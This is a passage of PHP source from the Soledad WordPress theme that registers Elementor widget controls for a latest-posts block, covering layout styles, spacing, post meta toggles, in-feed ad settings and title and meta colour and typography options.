					'photography'      => esc_html__( 'Photography Posts', 'soledad' ),
					'mixed'            => esc_html__( 'Mixed Posts', 'soledad' ),
					'mixed-2'          => esc_html__( 'Mixed Posts Style 2', 'soledad' ),
					'mixed-larger'     => esc_html__( 'Mixed Posts Larger', 'soledad' ),
					'mixed-3'          => esc_html__( 'Mixed Posts Style 3', 'soledad' ),
					'mixed-4'          => esc_html__( 'Mixed Posts Style 4', 'soledad' ),
					'standard-grid'    => esc_html__( '1st Standard Then Grid', 'soledad' ),
					'standard-grid-2'  => esc_html__( '1st Standard Then Grid 2 Columns', 'soledad' ),
					'standard-list'    => esc_html__( '1st Standard Then List', 'soledad' ),
					'standard-boxed-1' => esc_html__( '1st Standard Then Boxed', 'soledad' ),
					'classic-grid'     => esc_html__( '1st Classic Then Grid', 'soledad' ),
					'classic-grid-2'   => esc_html__( '1st Classic Then Grid 2 Columns', 'soledad' ),
					'classic-list'     => esc_html__( '1st Classic Then List', 'soledad' ),
					'classic-boxed-1'  => esc_html__( '1st Classic Then Boxed', 'soledad' ),
					'overlay-grid'     => esc_html__( '1st Overlay Then Grid', 'soledad' ),
					'overlay-grid-2'   => esc_html__( '1st Overlay Then Grid 2 Columns', 'soledad' ),
					'overlay-list'     => esc_html__( '1st Overlay Then List', 'soledad' ),
					'overlay-boxed-1'  => esc_html__( '1st Overlay Then Boxed', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_mixed_style', array(
				'label'     => __( 'Mixed Post Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 's1',
				'options'   => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
				),
				'condition' => array( 'penci_style' => array( 'mixed', 'mixed-2' ) ),
			)
		);
		$this->add_control(
			'post_alignment', array(
				'label'       => __( 'Post Header Alignment', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
			)
		);

		$this->add_responsive_control(
			'penci_items_martop',
			array(
				'label'       => __( 'Rows Gap Between Post Items', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-grid > li, {{WRAPPER}} .grid-featured, {{WRAPPER}} .penci-grid li.typography-style, {{WRAPPER}} .grid-mixed, {{WRAPPER}} .penci-grid .list-post.list-boxed-post, {{WRAPPER}} .penci-masonry .item-masonry, {{WRAPPER}} article.standard-article, {{WRAPPER}} .penci-grid li.list-post, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
					'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                                                                                => 'padding-bottom: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                                                                                                                                                                            => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp'                                                                                                                                                            => 'margin-top: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child'                                                                                                                                                  => 'margin-bottom: {{SIZE}}px;'
				),
				'label_block' => true,
			)
		);

		$this->add_responsive_control(
			'penci_bitems_martop',
			array(
				'label'       => __( 'Rows Gap for Big Post Items', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .grid-featured, {{WRAPPER}} .grid-mixed, {{WRAPPER}} article.standard-article, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
				),
				'label_block' => true,
				'condition'   => array(
					'penci_style' => array(
						'mixed',
						'mixed-2',
						'mixed-4',
						'standard-grid',
						'standard-list',
						'standard-grid-2',
						'standard-boxed',
						'classic-grid',
						'classic-list',
						'classic-grid-2',
						'classic-boxed',
						'overlay-grid',
						'overlay-list',
						'overlay-grid-2',
						'overlay-boxed'
					)
				),
			)
		);

		$this->add_responsive_control(
			'penci_sitems_martop',
			array(
				'label'       => __( 'Rows Gap for Small List Post Items', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-grid li.penci-slistp'                                                                                                                                  => 'margin-bottom: {{SIZE}}px; padding-bottom: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                 => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp' => 'margin-top: {{SIZE}}px;',
				),
				'label_block' => true,
				'condition'   => array( 'penci_style' => array( 'mixed-3', 'mixed-4' ) ),
			)
		);

		$this->add_control(
			'aposts_per_page', array(
				'label'       => __( 'Posts Per Page', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => get_option( 'posts_per_page' ),
				'label_block' => true,
			)
		);

		$this->add_control(
			'penci_paging', array(
				'label'     => __( 'Page Navigation Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'numbers',
				'options'   => array(
					'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
					'loadmore' => esc_html__( 'Load More Posts', 'soledad' ),
					'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
					'none'     => esc_html__( 'None', 'soledad' ),
				),
				'separator' => 'before'
			)
		);
		$this->add_control(
			'morenum', array(
				'label'       => __( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 6,
				'label_block' => true,
				'condition'   => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
			)
		);
		$this->add_responsive_control(
			'penci_paging_martop',
			array(
				'label'       => __( 'Margin Top for Page Navigation', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-latest-posts-el .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}} !important'
				),
				'label_block' => true,
			)
		);
		$this->end_controls_section();

		$this->start_controls_section(
			'section_standard_classic_layout', array(
				'label' => esc_html__( 'Standard & Classic Layouts Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$standard_classic_opts = array(
			'standard_meta_overlay'   => array(
				'label'   => 'Enable Post Meta Overlay Featured Image',
				'desc'    => 'This option just apply for Standard Layout Only',
				'default' => ''
			),
			'standard_thumbnail'      => array( 'label' => 'Hide Post Thumbnail', 'desc' => '', 'default' => '' ),
			'std_dis_at_gallery'      => array(
				'label'   => 'Disable Autoplay for Slider on Posts Format Gallery',
				'desc'    => '',
				'default' => ''
			),
			'standard_thumb_crop'     => array(
				'label'   => 'Make Featured Image Auto Crop',
				'desc'    => '',
				'default' => ''
			),
			'standard_share_box'      => array( 'label' => 'Hide Share Icons', 'desc' => '', 'default' => '' ),
			'standard_cat'            => array( 'label' => 'Hide Category', 'desc' => '', 'default' => '' ),
			'standard_author'         => array( 'label' => 'Hide Post Author', 'desc' => '', 'default' => '' ),
			'standard_date'           => array( 'label' => 'Hide Post Date', 'desc' => '', 'default' => '' ),
			'standard_comment'        => array( 'label' => 'Hide Comment Count', 'desc' => '', 'default' => '' ),
			'standard_viewscount'     => array( 'label' => 'Show Views Count', 'desc' => '', 'default' => '' ),
			'standard_readtime'       => array( 'label' => 'Hide Reading Time', 'desc' => '', 'default' => '' ),
			'standard_remove_line'    => array(
				'label'   => 'Remove Line Above Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_auto_excerpt'   => array(
				'label'   => 'Showing Post Excerpt Instead of Full Content',
				'desc'    => '',
				'default' => 'yes'
			),
			'standard_remove_excerpt' => array(
				'label'   => 'Hide Post Content/Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_effect_button'  => array(
				'label'   => 'Disable Hover Effect on "Continue Reading" Button',
				'desc'    => '',
				'default' => ''
			),
		);

		foreach ( $standard_classic_opts as $standard_classic_key => $standard_classic_opt ) {
			$this->add_control(
				$standard_classic_key, array(
					'label'       => $standard_classic_opt['label'],
					'type'        => Controls_Manager::SWITCHER,
					'description' => $standard_classic_opt['desc'],
					'default'     => $standard_classic_opt['default'],
				)
			);
		}

		$this->add_control(
			'std_continue_btn', array(
				'label'     => 'Make "Continue Reading" is A Button',
				'type'      => Controls_Manager::SWITCHER,
				'condition' => array( 'standard_auto_excerpt' => 'yes' ),
			)
		);

		$this->add_control(
			'std_excerpt_align', array(
				'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
			)
		);

		$this->add_control(
			'standard_title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
			)
		);
		$this->add_control(
			'standard_excerpt_length', array(
				'label' => __( 'Custom Excerpt Length', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
			)
		);
		$this->add_control(
			'std_continue_align', array(
				'label'     => __( 'Align "Continue Reading" Button', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'center',
				'options'   => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
				'condition' => array( 'penci_style!' => array( 'overlay', 'boxed-1', 'boxed-2', 'photography' ) ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_order_layouts_layout', array(
				'label' => esc_html__( 'Other Layouts Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'order_layouts_note', array(
				'type'            => Controls_Manager::RAW_HTML,
				'content_classes' => 'elementor-descriptor',
			)
		);

		$this->add_control(
			'penci_featimg_size', array(
				'label'                => __( 'Image Size Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => '',
				'options'              => array(
					''           => esc_html__( 'Default', 'soledad' ),
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
				'selectors_dictionary' => array(
					'horizontal' => 'padding-top: 66.6667%;',
					'square'     => 'padding-top: 100%;',
					'vertical'   => 'padding-top: 135.4%;',
				),
				'condition'            => array( 'penci_style!' => array( 'masonry-2', 'masonry' ) ),
			)
		);
		$this->add_responsive_control(
			'penci_featimg_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image Size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_control(
			'thumb_bigsize', array(
				'label'       => __( 'Custom Image Size for Big Posts', 'soledad' ),
				'description' => __( 'This option apply for Overlay Posts & Big Posts on "Mixed Post" & "Mixed Posts Large" Layout', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => $this->get_list_image_sizes( true ),
				'condition'   => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_responsive_control(
			'order_columns', array(
				'label'          => __( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'default'        => '',
				'tablet_default' => '1',
				'mobile_default' => '1',
				'options'        => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'condition'      => array( 'penci_style' => array( 'masonry-2', 'masonry' ) ),
			)
		);


		$this->add_control(
			'order_column_gap', array(
				'label'     => __( 'Columns Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-wrap-masonry'          => 'margin-right: calc({{SIZE}}{{UNIT}} * -1 / 2); margin-left: calc( {{SIZE}}{{UNIT}} * -1 / 2 )',
					'{{WRAPPER}} .penci-masonry .item-masonry' => 'padding-right: calc({{SIZE}}{{UNIT}} / 2); padding-left: calc({{SIZE}}{{UNIT}} / 2)',
				),
				'condition' => array( 'penci_style' => array( 'masonry' ) ),
			)
		);

		$this->add_control(
			'rmborder_bottom', array(
				'label'     => __( 'Remove Border Bottom on List Layouts', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                   => 'padding-bottom: 0; border-bottom: none;',
					'{{WRAPPER}} .penci-layout-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-layout-mixed-4 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp' => 'border-top: none; padding-top: 0;',
				),
			)
		);

		$this->add_control(
			'share_rmborder', array(
				'label'     => __( 'Remove Border Left & Right on Share Box', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid .penci-post-share-box' => 'padding: 0; background: none;',
					'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before'                => 'content: none;',
				),
			)
		);

		$order_layouts_opts = array(
			'grid_icon_format'     => array( 'label' => 'Hide Icon Post Format', 'desc' => '' ),
			'grid_meta_overlay'    => array( 'label' => 'Enable Post Meta Overlay Featured Image', 'desc' => '' ),
			'grid_nocrop_list'     => array(
				'label' => 'Do Not Crop Images in List & Small List Layouts',
				'desc'  => 'This option does not apply for gallery posts format'
			),
			'grid_share_box'       => array( 'label' => 'Hide Share Box', 'desc' => '' ),
			'grid_cat'             => array( 'label' => 'Hide Category', 'desc' => '' ),
			'grid_author'          => array( 'label' => 'Hide Post Author', 'desc' => '' ),
			'grid_date'            => array( 'label' => 'Hide Post Date', 'desc' => '' ),
			'grid_comment'         => array( 'label' => 'Hide Comment Count on Mixed, Overlay Posts', 'desc' => '' ),
			'grid_comment_other'   => array( 'label' => 'Show Comment Count on Other Posts', 'desc' => '' ),
			'grid_viewscount'      => array( 'label' => 'Show Views Count', 'desc' => '' ),
			'grid_readtime'        => array( 'label' => 'Hide Reading Time', 'desc' => '' ),
			'grid_remove_line'     => array( 'label' => 'Remove Line Above Post Excerpt', 'desc' => '' ),
			'grid_remove_excerpt'  => array( 'label' => 'Remove Post Excerpt', 'desc' => '' ),
			'grid_add_readmore'    => array( 'label' => 'Add "Read more" button link', 'desc' => '' ),
			'grid_remove_arrow'    => array( 'label' => 'Remove arrow on "Read more"', 'desc' => '' ),
			'grid_readmore_button' => array( 'label' => 'Make "Read more" is A Button', 'desc' => '' ),
		);

		foreach ( $order_layouts_opts as $order_layouts_key => $order_layouts_opt ) {
			$this->add_control(
				$order_layouts_key, array(
					'label'        => $order_layouts_opt['label'],
					'type'         => Controls_Manager::SWITCHER,
					'description'  => $order_layouts_opt['desc'],
					'return_value' => 'yes',
				)
			);
		}

		$this->add_control(
			'share_alignment', array(
				'label'       => __( 'Share Box Alignment', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
			)
		);

		$this->add_control(
			'grid_readmore_align', array(
				'label'   => __( 'Align "Read more" Button', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'left',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
			)
		);
		$this->add_control(
			'grid_excerpt_align', array(
				'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'left',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
			)
		);

		$this->add_control(
			'grid_title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
			)
		);
		$this->add_control(
			'grid_excerpt_length', array(
				'label' => __( 'Custom Excerpt Length', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
			)
		);

		$this->add_responsive_control(
			'list_imgwidth',
			array(
				'label'       => __( 'Image Width on List & Small List Layout', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'size_units'  => array( 'px', '%' ),
				'range'       => array(
					'px' => array( 'min' => 0, 'max' => 1000, ),
					'%'  => array( 'min' => 0, 'max' => 99, ),
				),
				'devices'     => array( 'desktop', 'tablet' ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-grid li.list-post.penci-slistp .item > .thumbnail, {{WRAPPER}} .penci-latest-posts-sc .penci-grid li.list-post .item > .thumbnail' => 'width: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right'                                                         => 'width: calc( 100% - {{SIZE}}{{UNIT}} )',
				),
				'label_block' => true,
				'condition'   => array(
					'penci_style' => array(
						'list',
						'small-list',
						'mixed-3',
						'mixed-4',
						'standard-list',
						'classic-list',
						'overlay-list'
					)
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_infeed_ads', array(
				'label' => esc_html__( 'In-feed Ads', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'infeed_ads_note', array(
				'type'            => Controls_Manager::RAW_HTML,
				'content_classes' => 'elementor-descriptor',
			)
		);

		$this->add_control(
			'infeedads_num', array(
				'label'   => __( 'Insert In-feed Ads After Every How Many Posts?', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => '3',
			)
		);

		$this->add_control(
			'infeedads_code',
			array(
				'label'    => __( 'In-feed Ads Code/HTML', 'soledad' ),
				'type'     => Controls_Manager::CODE,
				'language' => 'html',
				'rows'     => 20,
			)
		);

		$this->add_control(
			'infeedads_layout', array(
				'label'   => __( 'In-feed Ads Layout Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''     => esc_html__( 'Follow Selected Layout', 'soledad' ),
					'full' => esc_html__( 'Full Width', 'soledad' ),
				)
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls_post();

		// Design
		$this->start_controls_section(
			'section_design_content', array(
				'label' => __( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'post_border_color',
			array(
				'label'     => __( 'Post Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-grid li.list-post'                          => 'border-color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-grid .list-post.list-boxed-post'            => 'border-color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-grid li.list-boxed-post-2 .content-boxed-2' => 'border-color: {{VALUE}} !important;',
					'{{WRAPPER}} .grid-mixed'                                       => 'border-color: {{VALUE}} !important;',
				),
				'condition' => array(
					'penci_style' => array(
						'list',
						'boxed-1',
						'boxed-2',
						'mixed',
						'standard-boxed-1'
					)
				),
			)
		);
		$this->add_control(
			'ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$ptitle_typo = '{{WRAPPER}} .entry-title,{{WRAPPER}} .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard .entry-title,{{WRAPPER}} .header-standard .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .overlay-header-box .entry-title,{{WRAPPER}} .overlay-header-box .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard h2, {{WRAPPER}} .header-standard h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .pc_titlebig_standard, {{WRAPPER}} .pc_titlebig_standard a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-grid li .item h2 a, {{WRAPPER}} .penci-grid li .item h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-masonry .item-masonry h2 a,{{WRAPPER}} .penci-masonry .item-masonry h2 a';
		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					$ptitle_typo => 'color: {{VALUE}};'
				),
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .header-standard h2 a:hover,{{WRAPPER}} .entry-title a:hover'                        => 'color: {{VALUE}};',
					'{{WRAPPER}} .pc_titlebig_standard a:hover'                        => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-header-box .overlay-title a:hover'                                          => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-grid li .item h2 a:hover,{{WRAPPER}} .penci-masonry .item-masonry h2 a:hover' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'bptitle_color', array(
				'label'     => __( 'Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-overlay .penci-entry-title a' => 'color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);
		$this->add_control(
			'bptitle_hcolor', array(
				'label'     => __( 'Hover Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-overlay .penci-entry-title a:hover' => 'color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => $ptitle_typo
			)
		);
		$this->add_responsive_control(
			'bptitle_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .entry-title a'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-title a'                        => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-title a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-title a'  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-title a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-title a' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-title a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-title a'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-title a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid .overlay-header-box .entry-title a'         => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title a'       => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-list .overlay-header-box .entry-title a'         => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title a'      => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .entry-title a'            => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);
		// Post meta
		$this->add_control(
			'heading_meta_style',
			array(
				'label'     => __( 'Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pmeta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .header-standard .author-post span,' .
					'{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,' .
					'{{WRAPPER}} .penci-post-box-meta .penci-box-meta a'             => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-author span,{{WRAPPER}} .overlay-author a' => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-post-box-meta .overlay-share span,' .
					'{{WRAPPER}} .overlay-post-box-meta .overlay-share a,' .
					'{{WRAPPER}} .overlay-post-box-meta'                             => 'color: {{VALUE}};',
					'{{WRAPPER}} .grid-post-box-meta span'                           => 'color: {{VALUE}};',

				),
			)
		);
		$this->add_control(
			'author_color',
			array(
				'label'     => __( 'Author Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .header-standard .author-post span a,{{WRAPPER}} .overlay-author a,{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'bpauthor_color', array(
				'label'     => __( 'Author Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .grid-overlay .overlay-author span,{{WRAPPER}} .grid-overlay .overlay-author a' => 'color: {{VALUE}};',
				),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);

		$this->add_control(
			'pmeta_hcolor',
			array(
				'label'     => __( 'Post Meta Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-post-box-meta .penci-box-meta a:hover' => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-author a:hover'                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .grid-post-box-meta span a:hover'             => 'color: {{VALUE}};',
				),
			)
		);

		$pmeta_typo = '{{WRAPPER}} .header-standard .author-post,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-author a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-header-box .overlay-author,';
		$pmeta_typo .= '{{WRAPPER}} .grid-post-box-meta';

		$pmeta_typo_bpost = '{{WRAPPER}} %1$s .header-standard .author-post,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-author a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-header-box .overlay-author,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .grid-post-box-meta';

		$this->add_group_control(
